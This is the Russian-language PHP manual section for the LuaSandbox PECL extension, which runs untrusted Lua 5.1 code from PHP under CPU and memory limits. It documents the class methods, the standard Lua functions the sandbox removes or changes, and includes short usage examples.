  • LuaSandbox — Класс LuaSandbox
    • LuaSandbox::callFunction — Вызывает функцию в глобальной переменной Lua
    • LuaSandbox::disableProfiler — Отключает профилировщик
    • LuaSandbox::enableProfiler — Включает профилировщик
    • LuaSandbox::getCPUUsage — Возвращает текущее время использования процессора в среде Lua
    • LuaSandbox::getMemoryUsage — Возвращает текущее использование памяти в среде Lua
    • LuaSandbox::getPeakMemoryUsage — Возвращает пиковое использование памяти в среде Lua
    • LuaSandbox::getProfilerFunctionReport — Получает данные профилировщика
    • LuaSandbox::getVersionInfo — Возвращает версии LuaSandbox и Lua
    • LuaSandbox::loadBinary — Загружает предварительно скомпилированный двоичный фрагмент в среду Lua
    • LuaSandbox::loadString — Загружает код Lua в среду Lua
    • LuaSandbox::pauseUsageTimer — Приостанавливает таймер использования процессора
    • LuaSandbox::registerLibrary — Регистрирует набор PHP-функций как библиотеку Lua
    • LuaSandbox::setCPULimit — Устанавливает ограничение времени процессора для среды Lua
    • LuaSandbox::setMemoryLimit — Устанавливает предел памяти для среды Lua
    • LuaSandbox::unpauseUsageTimer — Возобновляет таймер, приостановленный LuaSandbox::pauseUsageTimer
    • LuaSandbox::wrapPhpFunction — Оборачивает вызываемый PHP-объект в LuaSandboxFunction
  • LuaSandboxFunction — Класс LuaSandboxFunction
    • LuaSandboxFunction::call — Вызывает Lua-функцию
    • LuaSandboxFunction::__construct — Не используется
    • LuaSandboxFunction::dump — Выгружает функцию в виде BLOB
  • LuaSandboxError — Класс LuaSandboxError
  • LuaSandboxErrorError — Класс LuaSandboxErrorError
  • LuaSandboxFatalError — Класс LuaSandboxFatalError
  • LuaSandboxMemoryError — Класс LuaSandboxMemoryError
  • LuaSandboxRuntimeError — Класс LuaSandboxRuntimeError
  • LuaSandboxSyntaxError — Класс LuaSandboxSyntaxError
  • LuaSandboxTimeoutError — Класс LuaSandboxTimeoutError

User Contributed Notes

There are no user contributed notes for this page.


Введение

LuaSandbox - это модуль для PHP 7 и PHP 8, позволяющий безопасно запускать ненадёжный код Lua 5.1 из PHP.

Отличия от модуля Lua:

  • LuaSandbox поддерживает ограничения по времени и памяти.

  • LuaSandbox предоставляет безопасную среду по умолчанию для запуска ненадёжного кода. Стандартные функции Lua были проверены на безопасность, и некоторые из них были исправлены соответствующим образом.

  • У LuaSandbox более сложный, точный и мощный интерфейс PHP, но менее удобный для разработчиков.

  • LuaSandbox поддерживает только Lua 5.1. Это сложно изменить, потому что LuaSandbox использует сильно модифицированные стандартные библиотеки Lua и из-за отсутствия обратной совместимости между основными версиями Lua. LuaSandbox стремится к максимальной обратной совместимости с пользовательскими скриптами.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Чтобы использовать модуль, необходимо установить Lua 5.1, доступную на » сайте Lua

Чтобы полностью использовать возможности таймера, LuaSandbox должен быть установлен в Linux.

Если используется FreeBSD или Mac OS X, поддерживается только реальное время (настенные часы), функции, предназначенные для возврата времени процессора, фактически будут возвращать время настенных часов.

Если используется Windows, функции таймера не поддерживаются. Сроки не будут действовать.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Этот модуль » PECL не поставляется вместе с PHP.

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/luasandbox.

Если операционная система - Debian 10 и новее или Ubuntu 18.04 и новее, то LuaSandbox обычно следует устанавливать из пакета php-luasandbox:

sudo apt-get install php-luasandbox

User Contributed Notes

There are no user contributed notes for this page.


Отличия от стандартного Lua

LuaSandbox предоставляет изолированную среду, которая в некоторых отношениях отличается от стандартной Lua 5.1.

Функции, которые недоступны

  • dofile(), loadfile() и пакет io, поскольку они разрешают прямой доступ к файловой системе. При необходимости доступ к файловой системе должен осуществляться через callback-функции PHP.

  • Пакет package, включая require() и module(), так как он сильно зависит от прямого доступа к файловой системе. Вместо него можно использовать перезапись на чистом Lua, такую как та, что используется в модуле MediaWiki Scribunto.

  • load() и loadstring(), для статического анализа кода Lua.

  • print(), поскольку функция выводит в стандартный вывод. При необходимости вывод должен выполняться через callback-функции PHP.

  • Большая часть пакета os, поскольку он позволяет управлять процессом и выполнять другие процессы.

    • os.clock(), os.date(), os.difftime() и os.time() остаются доступными.

  • Большая часть пакета debug, поскольку он позволяет манипулировать состоянием Lua и метаданными способами, которые могут нарушить песочницу.

    • debug.traceback() остаётся доступным.

  • string.dump(), так как это может раскрыть внутренние данные.

  • collectgarbage(), gcinfo() и пакет coroutine не были проверены на безопасность.

Изменённые функции

  • pcall() и xpcall() не может отловить определённые ошибки, особенно ошибки времени ожидания.

  • tostring() не включает адреса указателей.

  • string.match() была исправлена для ограничения глубины рекурсии и периодической проверки времени ожидания.

  • math.random() и math.randomseed() заменяются версиями, которые не разделяют состояние с функцией PHP rand().

  • Метаметоды __pairs и __ipairs Lua 5.2 поддерживаются с помощью pairs() и ipairs().

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Содержание

  • Базовое использование LuaSandbox

User Contributed Notes

There are no user contributed notes for this page.


Базовое использование LuaSandbox

После того, как вы скомпилировали PHP с поддержкой LuaSandbox, вы можете начать использовать LuaSandbox для безопасного выполнения предоставленного пользователем кода Lua.

Пример #1 Выполните код Lua

<?php

$sandbox = new LuaSandbox;
$sandbox->setMemoryLimit( 50 * 1024 * 1024 );
$sandbox->setCPULimit( 10 );

// Зарегистрируйте некоторые функции в среде Lua

function frobnosticate( $v ) {
return [ $v + 42 ];
}

$sandbox->registerLibrary( 'php', [
'frobnosticate' => 'frobnosticate',
'output' => function ( $string ) {
echo "$string\n";
},
'error' => function () {
throw new LuaSandboxRuntimeError( "Что-то пошло не так" );
}
] );

// Выполните некоторый код Lua, включая callback-функции PHP и Lua.

$luaCode = <<<EOF
php.output( "Привет, мир" );

return "Привет", function ( v )
return php.frobnosticate( v + 200 )
end
EOF;

list( $hi, $frob ) = $sandbox->loadString( $luaCode )->call();
assert( $frob->call( 4000 ) === [ 4242 ] );

// Вызываемые PHP исключения LuaSandboxRuntimeError могут быть пойманы внутри Lua

list( $ok, $message ) = $sandbox->loadString( 'return pcall( php.error )' )->call();
assert( !$ok );
assert( $message === 'Что-то пошло не так' );

?>

User Contributed Notes

There are no user contributed notes for this page.


Класс LuaSandbox

(PECL luasandbox >= 1.0.0)

Введение

Класс LuaSandbox создаёт среду Lua и позволяет выполнять код Lua.

Обзор классов

class LuaSandbox {
/* Константы */
const int SAMPLES = 0;
const int SECONDS = 1;
const int PERCENT = 2;
/* Методы */
public callFunction(string $name, mixed ...$args): array|bool
public disableProfiler(): void
public enableProfiler(float $period = 0.02): bool
public getCPUUsage(): float
public getMemoryUsage(): int
public getPeakMemoryUsage(): int
public getProfilerFunctionReport(int $units = LuaSandbox::SECONDS): array
public static getVersionInfo(): array
public loadBinary(string $code, string $chunkName = ''): LuaSandboxFunction
public loadString(string $code, string $chunkName = ''): LuaSandboxFunction
public pauseUsageTimer(): bool
public registerLibrary(string $libname, array $functions): void
public setCPULimit(float|bool $limit): void
public setMemoryLimit(int $limit): void
public unpauseUsageTimer(): void
public wrapPhpFunction(callable $function): LuaSandboxFunction
}

Предопределённые константы

LuaSandbox::SAMPLES

Используется с LuaSandbox::getProfilerFunctionReport() для возврата времени в образцах.

LuaSandbox::SECONDS

Используется с LuaSandbox::getProfilerFunctionReport() для возврата времени в секундах.

LuaSandbox::PERCENT

Используется с LuaSandbox::getProfilerFunctionReport() для возврата времени в процентах от общего значения.

Содержание

  • LuaSandbox::callFunction — Вызывает функцию в глобальной переменной Lua
  • LuaSandbox::disableProfiler — Отключает профилировщик
  • LuaSandbox::enableProfiler — Включает профилировщик
  • LuaSandbox::getCPUUsage — Возвращает текущее время использования процессора в среде Lua
  • LuaSandbox::getMemoryUsage — Возвращает текущее использование памяти в среде Lua
  • LuaSandbox::getPeakMemoryUsage — Возвращает пиковое использование памяти в среде Lua
  • LuaSandbox::getProfilerFunctionReport — Получает данные профилировщика
  • LuaSandbox::getVersionInfo — Возвращает версии LuaSandbox и Lua
  • LuaSandbox::loadBinary — Загружает предварительно скомпилированный двоичный фрагмент в среду Lua
  • LuaSandbox::loadString — Загружает код Lua в среду Lua
  • LuaSandbox::pauseUsageTimer — Приостанавливает таймер использования процессора
  • LuaSandbox::registerLibrary — Регистрирует набор PHP-функций как библиотеку Lua
  • LuaSandbox::setCPULimit — Устанавливает ограничение времени процессора для среды Lua
  • LuaSandbox::setMemoryLimit — Устанавливает предел памяти для среды Lua
  • LuaSandbox::unpauseUsageTimer — Возобновляет таймер, приостановленный LuaSandbox::pauseUsageTimer
  • LuaSandbox::wrapPhpFunction — Оборачивает вызываемый PHP-объект в LuaSandboxFunction

User Contributed Notes

There are no user contributed notes for this page.


Вызывает функцию в глобальной переменной Lua

  • « LuaSandbox
  • LuaSandbox::disableProfiler »
  • PHP Manual
  • LuaSandbox
  • Вызывает функцию в глобальной переменной Lua

LuaSandbox::callFunction

(PECL luasandbox >= 1.0.0)

LuaSandbox::callFunction — Вызывает функцию в глобальной переменной Lua

Описание

public LuaSandbox::callFunction(string $name, mixed ...$args): array|bool

Вызывает функцию в глобальной переменной Lua.

Если имя содержит символы ".", функция находится через рекурсивный доступ к таблице, как если бы имя было выражением Lua.

Если переменная не существует или не является функцией, будет возвращено значение false и будет выдано предупреждение.

Для получения дополнительной информации о вызове функций Lua и возвращаемых значениях смотрите LuaSandboxFunction::call().

Список параметров

name

Имя переменной Lua.

args

Аргументы функции.

Возвращаемые значения

Возвращает массив (array) значений, возвращаемых функцией Lua, которые могут быть пустыми или false в случае возникновения ошибки.

Примеры

Пример #1 Вызов функции Lua

<?php

// создание нового LuaSandbox
$sandbox = new LuaSandbox();

// Вызов Lua-функции string.match
$captures = $sandbox->callFunction( 'string.match', $string, $pattern );

?>

User Contributed Notes

There are no user contributed notes for this page.


Отключает профилировщик

  • « LuaSandbox::callFunction
  • LuaSandbox::enableProfiler »
  • PHP Manual
  • LuaSandbox
  • Отключает профилировщик

LuaSandbox::disableProfiler

(PECL luasandbox >= 1.1.0)

LuaSandbox::disableProfiler — Отключает профилировщик

Описание

public LuaSandbox::disableProfiler(): void

Отключает профилировщик.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • LuaSandbox::enableProfiler() - Включает профилировщик
  • LuaSandbox::getProfilerFunctionReport() - Получает данные профилировщика

User Contributed Notes

There are no user contributed notes for this page.


Включает профилировщик

  • « LuaSandbox::disableProfiler
  • LuaSandbox::getCPUUsage »
  • PHP Manual
  • LuaSandbox
  • Включает профилировщик

LuaSandbox::enableProfiler

(PECL luasandbox >= 1.1.0)

LuaSandbox::enableProfiler — Включает профилировщик

Описание

public LuaSandbox::enableProfiler(float $period = 0.02): bool

Включает профилировщик. Профилирование начнётся после ввода кода Lua.

Профилировщик периодически производит замеры среды Lua для записи выполняемой функции. Тестирование показывает, что по крайней мере в Linux установка периода менее 1 миллисекунды приведёт к большому количеству переполнений, но без проблем с производительностью.

Список параметров

period

Период выборки в секундах.

Возвращаемые значения

Возвращает логическое значение, указывающее, включён ли профилировщик.

Смотрите также

  • LuaSandbox::disableProfiler() - Отключает профилировщик
  • LuaSandbox::getProfilerFunctionReport() - Получает данные профилировщика

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущее время использования процессора в среде Lua

  • « LuaSandbox::enableProfiler
  • LuaSandbox::getMemoryUsage »
  • PHP Manual
  • LuaSandbox
  • Возвращает текущее время использования процессора в среде Lua

LuaSandbox::getCPUUsage

(PECL luasandbox >= 1.0.0)

LuaSandbox::getCPUUsage — Возвращает текущее время использования процессора в среде Lua

Описание

public LuaSandbox::getCPUUsage(): float

Возвращает текущее время использования процессора в среде Lua.

Включает затраченное время в callback-функциях PHP.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущее время использования процессора в секундах.

Замечание:

В Windows данная функция всегда возвращает ноль. В операционных системах, которые не поддерживают CLOCK_THREAD_CPUTIME_ID, таких как FreeBSD и Mac OS X, функция возвращает прошедшее физическое время, а не время процессора.

Смотрите также

  • LuaSandbox::getMemoryUsage() - Возвращает текущее использование памяти в среде Lua
  • LuaSandbox::getPeakMemoryUsage() - Возвращает пиковое использование памяти в среде Lua
  • LuaSandbox::setCPULimit() - Устанавливает ограничение времени процессора для среды Lua

User Contributed Notes

There are no user contributed notes for this page.


Возвращает текущее использование памяти в среде Lua

  • « LuaSandbox::getCPUUsage
  • LuaSandbox::getPeakMemoryUsage »
  • PHP Manual
  • LuaSandbox
  • Возвращает текущее использование памяти в среде Lua

LuaSandbox::getMemoryUsage

(PECL luasandbox >= 1.0.0)

LuaSandbox::getMemoryUsage — Возвращает текущее использование памяти в среде Lua

Описание

public LuaSandbox::getMemoryUsage(): int

Возвращает текущее использование памяти в среде Lua.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает текущее использование памяти в байтах.

Смотрите также

  • LuaSandbox::getPeakMemoryUsage() - Возвращает пиковое использование памяти в среде Lua
  • LuaSandbox::getCPUUsage() - Возвращает текущее время использования процессора в среде Lua
  • LuaSandbox::setMemoryLimit() - Устанавливает предел памяти для среды Lua

User Contributed Notes

There are no user contributed notes for this page.


Возвращает пиковое использование памяти в среде Lua

  • « LuaSandbox::getMemoryUsage
  • LuaSandbox::getProfilerFunctionReport »
  • PHP Manual
  • LuaSandbox
  • Возвращает пиковое использование памяти в среде Lua

LuaSandbox::getPeakMemoryUsage

(PECL luasandbox >= 1.0.0)

LuaSandbox::getPeakMemoryUsage — Возвращает пиковое использование памяти в среде Lua

Описание

public LuaSandbox::getPeakMemoryUsage(): int

Возвращает пиковое использование памяти в среде Lua.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает пиковое использование памяти в байтах.

Смотрите также

  • LuaSandbox::getMemoryUsage() - Возвращает текущее использование памяти в среде Lua
  • LuaSandbox::getCPUUsage() - Возвращает текущее время использования процессора в среде Lua
  • LuaSandbox::setMemoryLimit() - Устанавливает предел памяти для среды Lua

User Contributed Notes

There are no user contributed notes for this page.


Получает данные профилировщика

  • « LuaSandbox::getPeakMemoryUsage
  • LuaSandbox::getVersionInfo »
  • PHP Manual
  • LuaSandbox
  • Получает данные профилировщика

LuaSandbox::getProfilerFunctionReport

(PECL luasandbox >= 1.1.0)

LuaSandbox::getProfilerFunctionReport — Получает данные профилировщика

Описание

public LuaSandbox::getProfilerFunctionReport(int $units = LuaSandbox::SECONDS): array

Для экземпляра профилирования, ранее запущенного с помощью LuaSandbox::enableProfiler(), получите отчёт о стоимости каждой функции.

The measurement unit used for the cost is determined by the $units parameter:

LuaSandbox::SAMPLES

Измерение количества образцов.

LuaSandbox::SECONDS

Измерение процессорного времени в секундах.

LuaSandbox::PERCENT

Измерение процента процессорного времени.

Список параметров

units

Константа единицы измерения.

Возвращаемые значения

Возвращает измерения профилировщика, отсортированные в порядке убывания, в виде ассоциативного массива (array). Ключи - это имена функций Lua (с исходным файлом и строкой, определёнными в угловых скобках), значения - это измерения как целое число (int) или число с плавающей запятой (float).

Замечание:

В Windows функция всегда возвращает пустой массив. В операционных системах, которые не поддерживают CLOCK_THREAD_CPUTIME_ID, таких как FreeBSD и Mac OS X, функция будет сообщать фактическое прошедшее время, а не время процессора.

Примеры

Пример #1 Профилирование кода Lua

<?php

// создание нового LuaSandbox
$sandbox = new LuaSandbox();

// начало профилирования
$sandbox->enableProfiler( 0.01 );

// ... Выполнение какого-то кода Lua ...

// получение данных профилирования
$data = $sandbox->getProfilerFunctionReport();

?>

User Contributed Notes

There are no user contributed notes for this page.


Возвращает версии LuaSandbox и Lua

  • « LuaSandbox::getProfilerFunctionReport
  • LuaSandbox::loadBinary »
  • PHP Manual
  • LuaSandbox
  • Возвращает версии LuaSandbox и Lua

LuaSandbox::getVersionInfo

(PECL luasandbox >= 1.6.0)

LuaSandbox::getVersionInfo — Возвращает версии LuaSandbox и Lua

Описание

public static LuaSandbox::getVersionInfo(): array

Возвращает версии LuaSandbox и Lua.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив с двумя ключами:

element | type | description
LuaSandbox | string | Версия модуля LuaSandbox.
Lua | string | Имя и версия библиотеки, определённые макросом LUA_RELEASE, например, "Lua 5.1.5".

User Contributed Notes

There are no user contributed notes for this page.


Загружает предварительно скомпилированный двоичный фрагмент в среду Lua

  • « LuaSandbox::getVersionInfo
  • LuaSandbox::loadString »
  • PHP Manual
  • LuaSandbox
  • Загружает предварительно скомпилированный двоичный фрагмент в среду Lua

LuaSandbox::loadBinary

(PECL luasandbox >= 1.0.0)

LuaSandbox::loadBinary — Загружает предварительно скомпилированный двоичный фрагмент в среду Lua

Описание

public LuaSandbox::loadBinary(string $code, string $chunkName = ''): LuaSandboxFunction

Загружает данные, созданные LuaSandboxFunction::dump().

Список параметров

code

Данные из LuaSandboxFunction::dump().

chunkName

Имя загруженной функции.

Возвращаемые значения

Возвращает LuaSandboxFunction.

Смотрите также

  • LuaSandbox::loadString() - Загружает код Lua в среду Lua

User Contributed Notes

There are no user contributed notes for this page.


Загружает код Lua в среду Lua

  • « LuaSandbox::loadBinary
  • LuaSandbox::pauseUsageTimer »
  • PHP Manual
  • LuaSandbox
  • Загружает код Lua в среду Lua

LuaSandbox::loadString

(PECL luasandbox >= 1.0.0)

LuaSandbox::loadString — Загружает код Lua в среду Lua

Описание

public LuaSandbox::loadString(string $code, string $chunkName = ''): LuaSandboxFunction

Загружает код Lua в среду Lua.

Это эквивалент стандартной функции Lua loadstring().

Список параметров

code

Код Lua.

chunkName

Имя загруженного фрагмента для использования в трассировке ошибок.

Возвращаемые значения

Возвращает LuaSandboxFunction, который при выполнении выполнит переданный $code.

Примеры

Пример #1 Загрузка кода в Lua

<?php

// создание нового LuaSandbox
$sandbox = new LuaSandbox();

// Загрузка кода
$function = $sandbox->loadString(
<<<CODE
 return "Привет, мир!"
CODE
);

// Выполнение загруженного кода
var_dump( $function->call() );

?>

Результат выполнения данного примера:

array(1) {
  [0]=>
  string(12) "Привет, мир!"
}

Смотрите также

  • LuaSandbox::registerLibrary() - Регистрирует набор PHP-функций как библиотеку Lua
  • LuaSandbox::wrapPhpFunction() - Оборачивает вызываемый PHP-объект в LuaSandboxFunction

User Contributed Notes

There are no user contributed notes for this page.


Приостанавливает таймер использования процессора

  • « LuaSandbox::loadString
  • LuaSandbox::registerLibrary »
  • PHP Manual
  • LuaSandbox
  • Приостанавливает таймер использования процессора

LuaSandbox::pauseUsageTimer

(PECL luasandbox >= 1.4.0)

LuaSandbox::pauseUsageTimer — Приостанавливает таймер использования процессора

Описание

public LuaSandbox::pauseUsageTimer(): bool

Приостанавливает таймер использования процессора.

Имеет значение только при вызове из callback-функции Lua. Когда выполнение возвращается в Lua, таймер автоматически возобновляет работу. Если будет сделан новый вызов в Lua, таймер будет возобновлён на время этого вызова.

Если callback-функция PHP снова вызывает Lua с не приостановленным таймером, а затем эта функция Lua снова вызывает PHP, второй вызов PHP не сможет приостановить таймер. Логика заключается в том, что даже если второй вызов PHP не учитывает использование процессора в соответствии с ограничением, первый вызов все равно его считает.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает логическое значение (bool), указывающее, приостановлен ли таймер.

Примеры

Пример #1 Управление таймером использования

<?php

// создание нового LuaSandbox и установка лимита процессора
$sandbox = new LuaSandbox();
$sandbox->setCPULimit( 1 );

function doWait( $t ) {
$end = microtime( true ) + $t;
while ( microtime( true ) < $end ) {
// waste CPU cycles
}
}

// регистрация новой callback-функции PHP
$sandbox->registerLibrary( 'php', [
'test' => function () use ( $sandbox ) {
$sandbox->pauseUsageTimer();
doWait( 5 );

$sandbox->unpauseUsageTimer();
doWait( 0.1 );
},
'test2' => function () use ( $sandbox ) {
$sandbox->pauseUsageTimer();
$sandbox->unpauseUsageTimer();
doWait( 1.1 );
}
] );

echo "Это не должно истекать...\n";
$sandbox->loadString( 'php.test()' )->call();

echo "Это должно истекать.\n";
try {
$sandbox->loadString( 'php.test2()' )->call();
echo "Это не так?\n";
} catch ( LuaSandboxTimeoutError $ex ) {
echo "Это так! " . $ex->getMessage() . "\n";
}

?>

Результат выполнения данного примера:

Это не должно истекать...
Это должно истекать.
Это так! The maximum execution time for this script was exceeded

Смотрите также

  • LuaSandbox::setCPULimit() - Устанавливает ограничение времени процессора для среды Lua
  • LuaSandbox::unpauseUsageTimer() - Возобновляет таймер, приостановленный LuaSandbox::pauseUsageTimer

User Contributed Notes

There are no user contributed notes for this page.


Регистрирует набор PHP-функций как библиотеку Lua

  • « LuaSandbox::pauseUsageTimer
  • LuaSandbox::setCPULimit »
  • PHP Manual
  • LuaSandbox
  • Регистрирует набор PHP-функций как библиотеку Lua

LuaSandbox::registerLibrary

(PECL luasandbox >= 1.0.0)

LuaSandbox::registerLibrary — Регистрирует набор PHP-функций как библиотеку Lua

Описание

public LuaSandbox::registerLibrary(string $libname, array $functions): void

Регистрирует набор PHP-функций как библиотеку Lua, чтобы Lua мог вызывать соответствующий код PHP.

Для получения дополнительной информации о вызове функций Lua и возвращаемых значениях смотрите LuaSandboxFunction::call().

Список параметров

libname

Название библиотеки. В состоянии Lua глобальная переменная с этим именем будет установлена в таблицу функций. Если таблица уже существует, к ней будут добавлены новые функции.

functions

Массив (array), где каждый ключ - это имя функции, а каждое значение - это соответствующий вызываемый (callable) PHP-код.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Регистрация PHP-функций для вызова из Lua

<?php

// создание нового LuaSandbox
$sandbox = new LuaSandbox();

// регистрация некоторых функций в среде Lua

function frobnosticate( $v ) {
return [ $v + 42 ];
}

$sandbox->registerLibrary( 'php', [
'frobnosticate' => 'frobnosticate',
'output' => function ( $string ) {
echo "$string\n";
},
'error' => function () {
throw new LuaSandboxRuntimeError( "Что-то пошло не так" );
}
] );

?>

Смотрите также

  • LuaSandbox::loadString() - Загружает код Lua в среду Lua
  • LuaSandbox::wrapPhpFunction() - Оборачивает вызываемый PHP-объект в LuaSandboxFunction

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает ограничение времени процессора для среды Lua

  • « LuaSandbox::registerLibrary
  • LuaSandbox::setMemoryLimit »
  • PHP Manual
  • LuaSandbox
  • Устанавливает ограничение времени процессора для среды Lua

LuaSandbox::setCPULimit

(PECL luasandbox >= 1.0.0)

LuaSandbox::setCPULimit — Устанавливает ограничение времени процессора для среды Lua

Описание

public LuaSandbox::setCPULimit(float|bool $limit): void

Устанавливает ограничение времени процессора для среды Lua.

Если общее пользовательское и системное время, используемое средой после вызова метода, превышает это ограничение, выбрасывается исключение LuaSandboxTimeoutError.

Время, используемое в callback-функциях PHP, включено в лимит.

Установка ограничения по времени для callback-функции во время работы Lua приводит к сбросу таймера или его запуску, если он ещё не был запущен.

Замечание:

В Windows ограничение процессора игнорируется. В операционных системах, которые не поддерживают CLOCK_THREAD_CPUTIME_ID, таких как FreeBSD и Mac OS X, будет ограничено фактическое время, а не время процессора.

Список параметров

limit

Ограничение как число с плавающей точкой (float) в секундах или false, чтобы не ограничивать.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Вызов функции Lua

<?php

// создание нового LuaSandbox
$sandbox = new LuaSandbox();

// установка лимита
$sandbox->setCPULimit( 2 );

// запуск кода Lua
$sandbox->loadString( 'while true do end' )->call();

?>

Результатом выполнения данного примера будет что-то подобное:

PHP Fatal error:  Uncaught LuaSandboxTimeoutError: The maximum execution time for this script was exceeded

Смотрите также

  • LuaSandbox::getCPUUsage() - Возвращает текущее время использования процессора в среде Lua
  • LuaSandbox::setMemoryLimit() - Устанавливает предел памяти для среды Lua

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает предел памяти для среды Lua

  • « LuaSandbox::setCPULimit
  • LuaSandbox::unpauseUsageTimer »
  • PHP Manual
  • LuaSandbox
  • Устанавливает предел памяти для среды Lua

LuaSandbox::setMemoryLimit

(PECL luasandbox >= 1.0.0)

LuaSandbox::setMemoryLimit — Устанавливает предел памяти для среды Lua

Описание

public LuaSandbox::setMemoryLimit(int $limit): void

Устанавливает предел памяти для среды Lua.

Если предел превышен, будет выброшено исключение LuaSandboxMemoryError.

Список параметров

limit

Предел памяти в байтах.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Примеры

Пример #1 Вызов функции Lua

<?php

// Создание нового объекта LuaSandbox
$sandbox = new LuaSandbox();

// Установка предела памяти
$sandbox->setMemoryLimit( 50 * 1024 * 1024 );

// Запуск кода Lua
$sandbox->loadString( 'local x = "x"; while true do x = x .. x; end' )->call();

?>

Результатом выполнения данного примера будет что-то подобное:

PHP Fatal error:  Uncaught LuaSandboxMemoryError: not enough memory

Смотрите также

  • LuaSandbox::getMemoryUsage() - Возвращает текущее использование памяти в среде Lua
  • LuaSandbox::getPeakMemoryUsage() - Возвращает пиковое использование памяти в среде Lua
  • LuaSandbox::setCPULimit() - Устанавливает ограничение времени процессора для среды Lua

User Contributed Notes

There are no user contributed notes for this page.


Возобновляет таймер, приостановленный LuaSandbox::pauseUsageTimer

  • « LuaSandbox::setMemoryLimit
  • LuaSandbox::wrapPhpFunction »
  • PHP Manual
  • LuaSandbox
  • Возобновляет таймер, приостановленный LuaSandbox::pauseUsageTimer

LuaSandbox::unpauseUsageTimer

(PECL luasandbox >= 1.4.0)

LuaSandbox::unpauseUsageTimer — Возобновляет таймер, приостановленный LuaSandbox::pauseUsageTimer()

Описание

public LuaSandbox::unpauseUsageTimer(): void

Возобновляет таймер, приостановленный LuaSandbox::pauseUsageTimer().

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Смотрите также

  • LuaSandbox::pauseUsageTimer() - Приостанавливает таймер использования процессора
  • LuaSandbox::setCPULimit() - Устанавливает ограничение времени процессора для среды Lua

User Contributed Notes

There are no user contributed notes for this page.


Оборачивает вызываемый PHP-объект в LuaSandboxFunction

  • « LuaSandbox::unpauseUsageTimer
  • LuaSandboxFunction »
  • PHP Manual
  • LuaSandbox
  • Оборачивает вызываемый PHP-объект в LuaSandboxFunction

LuaSandbox::wrapPhpFunction

(PECL luasandbox >= 1.2.0)

LuaSandbox::wrapPhpFunction — Оборачивает вызываемый PHP-объект в LuaSandboxFunction

Описание

public LuaSandbox::wrapPhpFunction(callable $function): LuaSandboxFunction

Оборачивает вызываемый PHP-объект в LuaSandboxFunction, поэтому его можно передать в Lua как анонимную функцию.

Функция должна возвращать либо массив значений (который может быть пустым), либо null, что эквивалентно возврату пустого массива.

Исключения будут возникать как ошибки в Lua, однако только исключения LuaSandboxRuntimeError могут быть обработаны внутри Lua с помощью pcall() или xpcall().

Для получения дополнительной информации о вызове функций Lua и возвращаемых значениях смотрите LuaSandboxFunction::call().

Список параметров

function

Вызываемая функция для обёртывания.

Возвращаемые значения

Возвращает LuaSandboxFunction.

Смотрите также

  • LuaSandbox::loadString() - Загружает код Lua в среду Lua
  • LuaSandbox::registerLibrary() - Регистрирует набор PHP-функций как библиотеку Lua

User Contributed Notes

There are no user contributed notes for this page.


Класс LuaSandboxFunction

(PECL luasandbox >= 1.0.0)

Введение

Представляет функцию Lua, позволяющую вызывать её из PHP.

Функция LuaSandboxFunction может быть получена как возвращаемое значение из Lua, как параметр,
переданный в callback-функцию из Lua, или с помощью
LuaSandbox::wrapPhpFunction(),
LuaSandbox::loadString() или
LuaSandbox::loadBinary().

Обзор классов

class LuaSandboxFunction {
/* Методы */
public call(string ...$args): array|bool
public dump(): string
}

Содержание

  • LuaSandboxFunction::call — Вызывает Lua-функцию
  • LuaSandboxFunction::__construct — Не используется
  • LuaSandboxFunction::dump — Выгружает функцию в виде BLOB

User Contributed Notes

npelov at croler dot net 29-Sep-2023 04:13
You can also pass function object as argument of LuaSandboxFunction::call():

$lua = new LuaSandbox();
$phpLuaFunction = $lua->wrapPhpFunction(function ($arg){
  echo "LUA> ".$arg;
});

$lua->loadString("print = ...")->call($phpLuaFunction);

$lua->loadString('
  print("print test from lua\\n")
')->call();

result:
LUA> print test from lua


Вызывает Lua-функцию

  • « LuaSandboxFunction
  • LuaSandboxFunction::__construct »
  • PHP Manual
  • LuaSandboxFunction
  • Вызывает Lua-функцию

LuaSandboxFunction::call

(PECL luasandbox >= 1.0.0)

LuaSandboxFunction::call — Вызывает Lua-функцию

Описание

public LuaSandboxFunction::call(string ...$args): array|bool

Вызывает Lua-функцию.

Ошибки, вызванные PHP-кодом, приведут к тому, что функция вернёт false и будет вызвано предупреждение E_WARNING, например, когда тип ресурса (resource) используется в качестве аргумента. При возникновении ошибок Lua будет выброшено исключение LuaSandboxRuntimeError.

Типы PHP и Lua преобразуются следующим образом:

  • null в PHP - это nil в Lua и наоборот.

  • Целые числа (int) и числа с плавающей точкой (float) в PHP преобразуются в числа Lua. Поддерживаются бесконечность и NAN.

  • Числа Lua без дробной части в диапазоне приблизительно от -2**53 и 2**53 преобразуются в целые числа (int) PHP, а другие - в числа PHP с плавающей точкой (float).

  • Логические значения в PHP (bool) - это значения типа boolean в Lua и наоборот.

  • Строки в PHP (string) - это значения типа string в Lua и наоборот.

  • Функции Lua - это объекты PHP LuaSandboxFunction, и наоборот. Callback-функции PHP (callable) не поддерживаются.

  • Массивы PHP (array) преобразуются в таблицы Lua и наоборот.

    • Обратите внимание, что Lua обычно индексирует массивы с 1, в то время как PHP индексирует массивы с 0. Никаких корректировок для этих различных соглашений не делается.

    • Массивы, ссылающиеся сами на себя, не поддерживаются ни в одном из направлений.

    • Ссылки PHP разыменовываются.

    • __pairs и __ipairs из Lua обрабатываются. __index игнорируется.

